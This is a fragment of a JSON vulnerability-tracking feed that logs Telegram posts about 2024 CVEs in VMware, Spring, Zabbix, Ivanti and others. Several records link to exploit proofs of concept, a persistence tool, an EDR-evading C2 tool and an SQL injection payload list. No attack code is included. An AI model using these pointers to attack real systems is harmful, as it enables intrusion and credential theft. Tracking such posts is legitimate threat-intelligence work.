"2024-08-09T09:36:15.000000Z"}, {"uuid": "de55eb06-beaf-4e74-ab87-c1908740e9b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22243", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/596", "content": "Tools - Hackers Factory \n\nOffensive_security\n\n1. PANIX - Linux Persistence Tool\ngithub.com/Aegrah/PANIX\n\n2. RedGuard - C2 front flow control tool, can avoid Blue Teams, AVs, EDRs check\n\ngithub.com/wikiZ/RedGuard\n\nThis is a privilege escalation tool (fixed with CVE-2024-38100 in KB5040434) that allows us to leak a user's NetNTLM hash from any session on the computer, even if we are working from a low-privileged user.\n\nhttps://github.com/MzHmO/LeakedWallpaper\n\nLeaked-Credentials\n\nhttps://github.com/h4x0r-dz/Leaked-Credentials\n\nCVE-2024-22243: URL-parsing vulnerability in Java Spring Framework\n\nhttps://github.com/SeanPesce/CVE-2024-22243\n\nTool for monitor Active Directory changes in real time without getting all objects. Instead of this it use replication metadata and Update Sequence Number (USN) to filter current properties of objects.\n\nhttps://github.com/DrunkF0x/ADSpider/tree/main\n\nTorBot\n\nhttps://github.com/DedSecInside/TorBot\n\nCheck for the existence of an email on Google platforms\n\nhttps://github.com/ranlo/check-google-user\n\nADExplorerSnapshot-rs\n\nhttps://github.com/t94j0/adexplorersnapshot-rs\n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-08-05T06:19:15.000000Z"}, {"uuid": "7110733e-1af5-4075-b947-f8095f7ef470", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/396", "content": "Tools - Hackers Factory \n\nExploit \n\n1. CVE-2024-36991:\nSplunk Enterprise Path traversal\nhttps://github.com/bigb0x/CVE-2024-36991\n\n2. CVE-2024-22274:\nRCE in VMware vCenter Server\nhttps://github.com/mbadanoiu/CVE-2024-22274\n\n3. CVE-2024-36401:\nGeoServer Unauth RCE\nhttps://github.com/bigb0x/CVE-2024-36401\n\nGitHub - payloadbox/sql-injection-payload-list: SQL Injection Payload List\n\nhttps://github.com/payloadbox/sql-injection-payload-list\n\nGitHub - ThatNotEasy/CVE-2024-27956: Perform with massive Wordpress SQLI 2 RCE\n\nhttps://github.com/ThatNotEasy/CVE-2024-27956\n\nMemProcFS 5.10 released! Support for Windows 11 24H2 added!\n\nMemProcFS - super fast memory forensics of live memory and memory dumps!\n\nhttps://github.com/ufrisk/MemProcFS\n\nCVE-2024-37081: The vCenter Server contains multiple local privilege escalation vulnerabilities due to misconfiguration of sudo.\u00a0\n\nhttps://github.com/Mr-r00t11/CVE-2024-37081\n\nCVE-2024-36401: RCE for GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer.\n\nPOC for CVE-2024-36401 GeoServer. This POC will attempt to establish a reverse system shell from the targets.\n\nhttps://github.com/bigb0x/CVE-2024-36401\n\nCVE-2024-6387, targeting a signal handler race condition in OpenSSH's server (sshd) on glibc-based Linux systems. The vulnerability allows for remote code execution as root due to async-signal-unsafe functions being called in the SIGALRM handler.\n\nPoC\nhttps://github.com/acrono/cve-2024-6387-poc\n\nCVE-2024-29849: Veeam Backup Enterprise Manager Authentication Bypass.\n\nPoC\nhttps://github.com/sinsinology/CVE-2024-29849\n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-07-14T02:46:52.000000Z"}, {"uuid": "cf294bf2-8a53-4bff-a5d7-40bd1ca89dd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22275", "type": "published-proof-of-concept", "source": "Telegram/Kjaky2iO7ZsRL5h4THsimvHn2xzyf9mFpFGwKs3Ggbvkhtc", "content": "", "creation_timestamp": "2024-08-09T09:36:15.000000Z"}, {"uuid": "75221264-9e19-4ab0-b932-9021ddb716d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "published-proof-of-concept", "source": "Telegram/NSN_U1WOG1rgyATnifpqOEf34SMf8hvrtnh9_RO9NB5MrLzv", "content": "", "creation_timestamp": "2024-05-21T22:04:16.000000Z"}, {"uuid": "0a760575-679a-42b3-97bc-574f3cb4510c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "published-proof-of-concept", "source": "https://t.me/tengkorakcybercrewz/1737", "content": "#CVE-2024-22120: Time Based SQL Injection in #Zabbix Server Audit Log", "creation_timestamp": "2024-05-29T08:25:32.000000Z"}, {"uuid": "2f50d044-47b9-408f-9967-3c41108fa25a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22252", "type": "seen", "source": "https://t.me/KomunitiSiber/1592", "content": "VMware Issues Security Patches for ESXi, Workstation, and Fusion Flaws\nhttps://thehackernews.com/2024/03/vmware-issues-security-patches-for-esxi.html\n\nVMware has released patches to address four security flaws impacting ESXi, Workstation, and Fusion, including two critical flaws that could lead to code execution.\nTracked as\u00a0CVE-2024-22252 and CVE-2024-22253, the vulnerabilities have been described as use-after-free bugs in the XHCI USB controller. They carry a CVSS score of 9.3 for Workstation and Fusion, and 8.4 for ESXi systems.\n\"A", "creation_timestamp": "2024-03-06T09:22:51.000000Z"}, {"uuid": "f618e2cb-122f-4bf6-bbf8-109b844e3f1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "https://t.me/KomunitiSiber/1465", "content": "Warning: New Ivanti Auth Bypass Flaw Affects Connect Secure and ZTA Gateways\nhttps://thehackernews.com/2024/02/warning-new-ivanti-auth-bypass-flaw.html\n\nIvanti has alerted customers of yet another high-severity security flaw in its Connect Secure, Policy Secure, and ZTA gateway devices that could allow attackers to bypass authentication.\nThe issue, tracked as\u00a0CVE-2024-22024, is rated 8.3 out of 10 on the CVSS scoring system.\n\"An XML external entity or XXE vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x), Ivanti", "creation_timestamp": "2024-02-09T05:06:51.000000Z"}, {"uuid": "b447a6a0-c469-4994-a93c-5f43217fc9ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22253", "type": "seen", "source": "https://t.me/KomunitiSiber/1592", "content": "VMware Issues Security Patches for ESXi, Workstation, and Fusion Flaws\nhttps://thehackernews.com/2024/03/vmware-issues-security-patches-for-esxi.html\n\nVMware has released patches to address four security flaws impacting ESXi, Workstation, and Fusion, including two critical flaws that could lead to code execution.\nTracked as\u00a0CVE-2024-22252 and CVE-2024-22253, the vulnerabilities have been described as use-after-free bugs in the XHCI USB controller. They carry a CVSS score of 9.3 for Workstation and Fusion, and 8.4 for ESXi systems.\n\"A", "creation_timestamp": "2024-03-06T09:22:51.000000Z"}, {"uuid": "caa356b0-3029-4b9b-9727-8f147184504c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22245", "type": "seen", "source": "https://t.me/KomunitiSiber/1522", "content": "VMware Alert: Uninstall EAP Now - Critical Flaw Puts Active Directory at Risk\nhttps://thehackernews.com/2024/02/vmware-alert-uninstall-eap-now-critical.html\n\nVMware is urging users to uninstall the deprecated Enhanced Authentication Plugin (EAP) following the discovery of a critical security flaw.\nTracked as\u00a0CVE-2024-22245\u00a0(CVSS score: 9.6), the vulnerability has been described as an arbitrary authentication relay bug.\n\"A malicious actor could trick a target domain user with EAP installed in their web browser into requesting and relaying", "creation_timestamp": "2024-02-21T07:22:31.000000Z"}, {"uuid": "c8f5b12a-c7b4-4d50-8d03-6607377178b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "published-proof-of-concept", "source": "Telegram/zxaSsjdg-TBfBZr55_hYQRBkBmwDlzaw5Wh1oTdJjucLfdA", "content": "", "creation_timestamp": "2025-01-15T07:51:34.000000Z"}, {"uuid": "e4275d6c-bf26-444a-ab8e-2ec06892cc6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22243", "type": "published-proof-of-concept", "source": "Telegram/xR1jS9HwiZzXNVW_S-Y9Dwo606EDDevtP4jor7zPHlsRSjM", "content": "", "creation_timestamp": "2025-02-21T10:00:06.000000Z"}, {"uuid": "eaa7ec1d-8c61-4bb6-870f-266d8d118a48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22243", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/8479", "content": "Tools - Hackers Factory \n\nOffensive_security\n\n1. PANIX - Linux Persistence Tool\ngithub.com/Aegrah/PANIX\n\n2. RedGuard - C2 front flow control tool, can avoid Blue Teams, AVs, EDRs check\n\ngithub.com/wikiZ/RedGuard\n\nThis is a privilege escalation tool (fixed with CVE-2024-38100 in KB5040434) that allows us to leak a user's NetNTLM hash from any session on the computer, even if we are working from a low-privileged user.\n\nhttps://github.com/MzHmO/LeakedWallpaper\n\nLeaked-Credentials\n\nhttps://github.com/h4x0r-dz/Leaked-Credentials\n\nCVE-2024-22243: URL-parsing vulnerability in Java Spring Framework\n\nhttps://github.com/SeanPesce/CVE-2024-22243\n\nTool for monitor Active Directory changes in real time without getting all objects. Instead of this it use replication metadata and Update Sequence Number (USN) to filter current properties of objects.\n\nhttps://github.com/DrunkF0x/ADSpider/tree/main\n\nTorBot\n\nhttps://github.com/DedSecInside/TorBot\n\nCheck for the existence of an email on Google platforms\n\nhttps://github.com/ranlo/check-google-user\n\nADExplorerSnapshot-rs\n\nhttps://github.com/t94j0/adexplorersnapshot-rs\n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-08-05T06:19:41.000000Z"}, {"uuid": "b54feef3-d71f-4883-87ce-dea6a18d9b6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/8212", "content": "Tools - Hackers Factory \n\nExploit \n\n1. CVE-2024-36991:\nSplunk Enterprise Path traversal\nhttps://github.com/bigb0x/CVE-2024-36991\n\n2. CVE-2024-22274:\nRCE in VMware vCenter Server\nhttps://github.com/mbadanoiu/CVE-2024-22274\n\n3. CVE-2024-36401:\nGeoServer Unauth RCE\nhttps://github.com/bigb0x/CVE-2024-36401\n\nGitHub - payloadbox/sql-injection-payload-list: SQL Injection Payload List\n\nhttps://github.com/payloadbox/sql-injection-payload-list\n\nGitHub - ThatNotEasy/CVE-2024-27956: Perform with massive Wordpress SQLI 2 RCE\n\nhttps://github.com/ThatNotEasy/CVE-2024-27956\n\nMemProcFS 5.10 released! Support for Windows 11 24H2 added!\n\nMemProcFS - super fast memory forensics of live memory and memory dumps!\n\nhttps://github.com/ufrisk/MemProcFS\n\nCVE-2024-37081: The vCenter Server contains multiple local privilege escalation vulnerabilities due to misconfiguration of sudo.\u00a0\n\nhttps://github.com/Mr-r00t11/CVE-2024-37081\n\nCVE-2024-36401: RCE for GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer.\n\nPOC for CVE-2024-36401 GeoServer. This POC will attempt to establish a reverse system shell from the targets.\n\nhttps://github.com/bigb0x/CVE-2024-36401\n\nCVE-2024-6387, targeting a signal handler race condition in OpenSSH's server (sshd) on glibc-based Linux systems. The vulnerability allows for remote code execution as root due to async-signal-unsafe functions being called in the SIGALRM handler.\n\nPoC\nhttps://github.com/acrono/cve-2024-6387-poc\n\nCVE-2024-29849: Veeam Backup Enterprise Manager Authentication Bypass.\n\nPoC\nhttps://github.com/sinsinology/CVE-2024-29849\n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-07-14T04:09:19.000000Z"}, {"uuid": "b18a398e-b5b3-4d6f-adb3-4d699240fb79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22275", "type": "seen", "source": "https://t.me/CyberSecurity026/4856", "content": "\u26a0\ufe0f  \u062a\u062d\u0630\u064a\u0631 \u0623\u0645\u0646\u064a\n\n \u0627\u0644\u062b\u063a\u0631\u0629 :\n\u0640CVE-2024-22273\n\u0640CVE-2024-22274\n\u0640CVE-2024-22275\n\n \u0627\u0644\u0645\u0646\u062a\u062c \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 : \nVMware ESXi, Workstation, Fusion, vCenter Server \n\n \u0645\u062f\u0649 \u0627\u0644\u062e\u0637\u0648\u0631\u0629 :\n \u0639\u0627\u0644\u064d\n\n \u0627\u0644\u062a\u0647\u062f\u064a\u062f : \n\u062a\u0633\u0645\u062d \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0644\u0644\u0645\u0647\u0627\u062c\u0645\u064a\u0646 \u0639\u0644\u0649 \u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0645\u062d\u0644\u064a (Local access)  \u0628\u062a\u0646\u0641\u064a\u0630 \u062a\u0639\u0644\u064a\u0645\u0627\u062a \u062e\u0628\u064a\u062b\u0629 \u0639\u0644\u0649 \u0627\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 \u0648\u0643\u0630\u0644\u0643 \u0647\u062c\u0645\u0627\u062a \u062d\u062c\u0628 \u0627\u0644\u062e\u062f\u0645\u0629 DoS \u0648\u0627\u0644\u0627\u0637\u0644\u0627\u0639 \u0639\u0644\u0649 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u062e\u0627\u0635\u0629 \u0648\u0627\u0644\u062d\u0633\u0627\u0633\u0629.\n\n \u0627\u0644\u0645\u0639\u0627\u0644\u062c\u0629 : \n\u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0645\u0646\u062a\u062c \u0645\u0646 \u0645\u0632\u0648\u062f \u0627\u0644\u062e\u062f\u0645\u0629.\n\n \u0627\u0644\u0625\u0635\u062f\u0627\u0631\u0627\u062a \u0627\u0644\u0645\u0639\u0631\u0636\u0629 \u0644\u0644\u0636\u0631\u0631 :\nVMware ESXi: 7.0, 8.0\nVMware Workstation: 17.x\nVMware vCenter Server: 7.0, 8.0\nVMware Fusion: 13.x", "creation_timestamp": "2024-05-30T09:14:27.000000Z"}, {"uuid": "2136ec40-6f0c-4d5e-a4f7-dcb9bba16367", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22273", "type": "seen", "source": "https://t.me/CyberSecurity026/4856", "content": "\u26a0\ufe0f  \u062a\u062d\u0630\u064a\u0631 \u0623\u0645\u0646\u064a\n\n \u0627\u0644\u062b\u063a\u0631\u0629 :\n\u0640CVE-2024-22273\n\u0640CVE-2024-22274\n\u0640CVE-2024-22275\n\n \u0627\u0644\u0645\u0646\u062a\u062c \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 : \nVMware ESXi, Workstation, Fusion, vCenter Server \n\n \u0645\u062f\u0649 \u0627\u0644\u062e\u0637\u0648\u0631\u0629 :\n \u0639\u0627\u0644\u064d\n\n \u0627\u0644\u062a\u0647\u062f\u064a\u062f : \n\u062a\u0633\u0645\u062d \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0644\u0644\u0645\u0647\u0627\u062c\u0645\u064a\u0646 \u0639\u0644\u0649 \u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0645\u062d\u0644\u064a (Local access)  \u0628\u062a\u0646\u0641\u064a\u0630 \u062a\u0639\u0644\u064a\u0645\u0627\u062a \u062e\u0628\u064a\u062b\u0629 \u0639\u0644\u0649 \u0627\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 \u0648\u0643\u0630\u0644\u0643 \u0647\u062c\u0645\u0627\u062a \u062d\u062c\u0628 \u0627\u0644\u062e\u062f\u0645\u0629 DoS \u0648\u0627\u0644\u0627\u0637\u0644\u0627\u0639 \u0639\u0644\u0649 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u062e\u0627\u0635\u0629 \u0648\u0627\u0644\u062d\u0633\u0627\u0633\u0629.\n\n \u0627\u0644\u0645\u0639\u0627\u0644\u062c\u0629 : \n\u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0645\u0646\u062a\u062c \u0645\u0646 \u0645\u0632\u0648\u062f \u0627\u0644\u062e\u062f\u0645\u0629.\n\n \u0627\u0644\u0625\u0635\u062f\u0627\u0631\u0627\u062a \u0627\u0644\u0645\u0639\u0631\u0636\u0629 \u0644\u0644\u0636\u0631\u0631 :\nVMware ESXi: 7.0, 8.0\nVMware Workstation: 17.x\nVMware vCenter Server: 7.0, 8.0\nVMware Fusion: 13.x", "creation_timestamp": "2024-05-30T09:14:27.000000Z"}, {"uuid": "83eb144a-214e-4ff5-9a0c-f23d48766328", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "seen", "source": "https://t.me/CyberSecurity026/4856", "content": "\u26a0\ufe0f  \u062a\u062d\u0630\u064a\u0631 \u0623\u0645\u0646\u064a\n\n \u0627\u0644\u062b\u063a\u0631\u0629 :\n\u0640CVE-2024-22273\n\u0640CVE-2024-22274\n\u0640CVE-2024-22275\n\n \u0627\u0644\u0645\u0646\u062a\u062c \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 : \nVMware ESXi, Workstation, Fusion, vCenter Server \n\n \u0645\u062f\u0649 \u0627\u0644\u062e\u0637\u0648\u0631\u0629 :\n \u0639\u0627\u0644\u064d\n\n \u0627\u0644\u062a\u0647\u062f\u064a\u062f : \n\u062a\u0633\u0645\u062d \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0644\u0644\u0645\u0647\u0627\u062c\u0645\u064a\u0646 \u0639\u0644\u0649 \u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0645\u062d\u0644\u064a (Local access)  \u0628\u062a\u0646\u0641\u064a\u0630 \u062a\u0639\u0644\u064a\u0645\u0627\u062a \u062e\u0628\u064a\u062b\u0629 \u0639\u0644\u0649 \u0627\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 \u0648\u0643\u0630\u0644\u0643 \u0647\u062c\u0645\u0627\u062a \u062d\u062c\u0628 \u0627\u0644\u062e\u062f\u0645\u0629 DoS \u0648\u0627\u0644\u0627\u0637\u0644\u0627\u0639 \u0639\u0644\u0649 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u062e\u0627\u0635\u0629 \u0648\u0627\u0644\u062d\u0633\u0627\u0633\u0629.\n\n \u0627\u0644\u0645\u0639\u0627\u0644\u062c\u0629 : \n\u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0645\u0646\u062a\u062c \u0645\u0646 \u0645\u0632\u0648\u062f \u0627\u0644\u062e\u062f\u0645\u0629.\n\n \u0627\u0644\u0625\u0635\u062f\u0627\u0631\u0627\u062a \u0627\u0644\u0645\u0639\u0631\u0636\u0629 \u0644\u0644\u0636\u0631\u0631 :\nVMware ESXi: 7.0, 8.0\nVMware Workstation: 17.x\nVMware vCenter Server: 7.0, 8.0\nVMware Fusion: 13.x", "creation_timestamp": "2024-05-30T09:14:27.000000Z"}, {"uuid": "d8a8b322-e0c0-43f3-b81b-fb29e75a7746", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22243", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3610", "content": "Tools - Hackers Factory \n\nOffensive_security\n\n1. PANIX - Linux Persistence Tool\ngithub.com/Aegrah/PANIX\n\n2. RedGuard - C2 front flow control tool, can avoid Blue Teams, AVs, EDRs check\n\ngithub.com/wikiZ/RedGuard\n\nThis is a privilege escalation tool (fixed with CVE-2024-38100 in KB5040434) that allows us to leak a user's NetNTLM hash from any session on the computer, even if we are working from a low-privileged user.\n\nhttps://github.com/MzHmO/LeakedWallpaper\n\nLeaked-Credentials\n\nhttps://github.com/h4x0r-dz/Leaked-Credentials\n\nCVE-2024-22243: URL-parsing vulnerability in Java Spring Framework\n\nhttps://github.com/SeanPesce/CVE-2024-22243\n\nTool for monitor Active Directory changes in real time without getting all objects. Instead of this it use replication metadata and Update Sequence Number (USN) to filter current properties of objects.\n\nhttps://github.com/DrunkF0x/ADSpider/tree/main\n\nTorBot\n\nhttps://github.com/DedSecInside/TorBot\n\nCheck for the existence of an email on Google platforms\n\nhttps://github.com/ranlo/check-google-user\n\nADExplorerSnapshot-rs\n\nhttps://github.com/t94j0/adexplorersnapshot-rs\n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-08-05T06:19:27.000000Z"}, {"uuid": "faaa1b17-f266-4a88-b405-5012f065688f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3405", "content": "Tools - Hackers Factory \n\nExploit \n\n1. CVE-2024-36991:\nSplunk Enterprise Path traversal\nhttps://github.com/bigb0x/CVE-2024-36991\n\n2. CVE-2024-22274:\nRCE in VMware vCenter Server\nhttps://github.com/mbadanoiu/CVE-2024-22274\n\n3. CVE-2024-36401:\nGeoServer Unauth RCE\nhttps://github.com/bigb0x/CVE-2024-36401\n\nGitHub - payloadbox/sql-injection-payload-list: SQL Injection Payload List\n\nhttps://github.com/payloadbox/sql-injection-payload-list\n\nGitHub - ThatNotEasy/CVE-2024-27956: Perform with massive Wordpress SQLI 2 RCE\n\nhttps://github.com/ThatNotEasy/CVE-2024-27956\n\nMemProcFS 5.10 released! Support for Windows 11 24H2 added!\n\nMemProcFS - super fast memory forensics of live memory and memory dumps!\n\nhttps://github.com/ufrisk/MemProcFS\n\nCVE-2024-37081: The vCenter Server contains multiple local privilege escalation vulnerabilities due to misconfiguration of sudo.\u00a0\n\nhttps://github.com/Mr-r00t11/CVE-2024-37081\n\nCVE-2024-36401: RCE for GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer.\n\nPOC for CVE-2024-36401 GeoServer. This POC will attempt to establish a reverse system shell from the targets.\n\nhttps://github.com/bigb0x/CVE-2024-36401\n\nCVE-2024-6387, targeting a signal handler race condition in OpenSSH's server (sshd) on glibc-based Linux systems. The vulnerability allows for remote code execution as root due to async-signal-unsafe functions being called in the SIGALRM handler.\n\nPoC\nhttps://github.com/acrono/cve-2024-6387-poc\n\nCVE-2024-29849: Veeam Backup Enterprise Manager Authentication Bypass.\n\nPoC\nhttps://github.com/sinsinology/CVE-2024-29849\n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-07-14T11:05:42.000000Z"}, {"uuid": "3c718fd0-5ee2-4c51-bc32-3be61368167f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2086", "content": "CVE-2024-22120 Zabbix Server \n*\nTime Based SQL Injection\n*\n\u0422\u0435\u0445 \u0434\u0435\u0442\u0430\u043b\u0438\n*\nexploit\n\n#zabbix", "creation_timestamp": "2024-05-18T07:51:40.000000Z"}, {"uuid": "345186f3-52ce-40ac-8d7e-c639b8eb33e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/6918", "content": "Tools - Hackers Factory \n\nExploit \n\n1. CVE-2024-36991:\nSplunk Enterprise Path traversal\nhttps://github.com/bigb0x/CVE-2024-36991\n\n2. CVE-2024-22274:\nRCE in VMware vCenter Server\nhttps://github.com/mbadanoiu/CVE-2024-22274\n\n3. CVE-2024-36401:\nGeoServer Unauth RCE\nhttps://github.com/bigb0x/CVE-2024-36401\n\nGitHub - payloadbox/sql-injection-payload-list: SQL Injection Payload List\n\nhttps://github.com/payloadbox/sql-injection-payload-list\n\nGitHub - ThatNotEasy/CVE-2024-27956: Perform with massive Wordpress SQLI 2 RCE\n\nhttps://github.com/ThatNotEasy/CVE-2024-27956\n\nMemProcFS 5.10 released! Support for Windows 11 24H2 added!\n\nMemProcFS - super fast memory forensics of live memory and memory dumps!\n\nhttps://github.com/ufrisk/MemProcFS\n\nCVE-2024-37081: The vCenter Server contains multiple local privilege escalation vulnerabilities due to misconfiguration of sudo.\u00a0\n\nhttps://github.com/Mr-r00t11/CVE-2024-37081\n\nCVE-2024-36401: RCE for GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer.\n\nPOC for CVE-2024-36401 GeoServer. This POC will attempt to establish a reverse system shell from the targets.\n\nhttps://github.com/bigb0x/CVE-2024-36401\n\nCVE-2024-6387, targeting a signal handler race condition in OpenSSH's server (sshd) on glibc-based Linux systems. The vulnerability allows for remote code execution as root due to async-signal-unsafe functions being called in the SIGALRM handler.\n\nPoC\nhttps://github.com/acrono/cve-2024-6387-poc\n\nCVE-2024-29849: Veeam Backup Enterprise Manager Authentication Bypass.\n\nPoC\nhttps://github.com/sinsinology/CVE-2024-29849\n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-07-14T04:09:19.000000Z"}, {"uuid": "a071af29-3db0-40c7-bcec-085d4de4433d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22026", "type": "seen", "source": "https://t.me/proxy_bar/2081", "content": "CVE-2024-22026 \n*\nIvanti EPMM \"MobileIron Core\" \n*\nexploit", "creation_timestamp": "2024-05-15T16:43:57.000000Z"}, {"uuid": "ddd95078-f692-485a-ba91-c64e3768fbdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22250", "type": "seen", "source": "Telegram/Zi33NwaTWrCYN_yn8Fhtmyjm8X5cK9sFTQbMopw4807AAj4", "content": "", "creation_timestamp": "2024-02-21T13:41:18.000000Z"}, {"uuid": "bc313fd2-ed25-4b63-90c7-cc5dd8e64904", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "Telegram/zue4vN4mWYH0v_TFmxdq05ukpnYF3fW2akZIlYAzL7ksKL4", "content": "", "creation_timestamp": "2024-08-07T00:41:34.000000Z"}, {"uuid": "3bbe297c-115c-4849-bee8-10b2913bd350", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "published-proof-of-concept", "source": "Telegram/3HoIvZ4oualLP_ut8pwT5vGdzbZuopHKK9wO2GniHsVVZs4", "content": "", "creation_timestamp": "2024-06-22T06:56:51.000000Z"}, {"uuid": "ea94e55a-78e6-4c09-85af-9e0708d75194", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22026", "type": "published-proof-of-concept", "source": "Telegram/9aUOhOHHt37onByWEXECP7vJzEEbkz8SS7UVI7vLfuwoLOU", "content": "", "creation_timestamp": "2024-06-24T06:56:29.000000Z"}, {"uuid": "cfab5e52-4171-419b-af36-8814783c3877", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "seen", "source": "Telegram/InC9ykp30kkGfhiYdl0JO-8FjhrnZj9ZHpQO0myY9Q5Qr4I", "content": "", "creation_timestamp": "2024-07-19T00:41:28.000000Z"}, {"uuid": "6a7e8b23-c0cb-4091-86a0-000f9bc06f63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 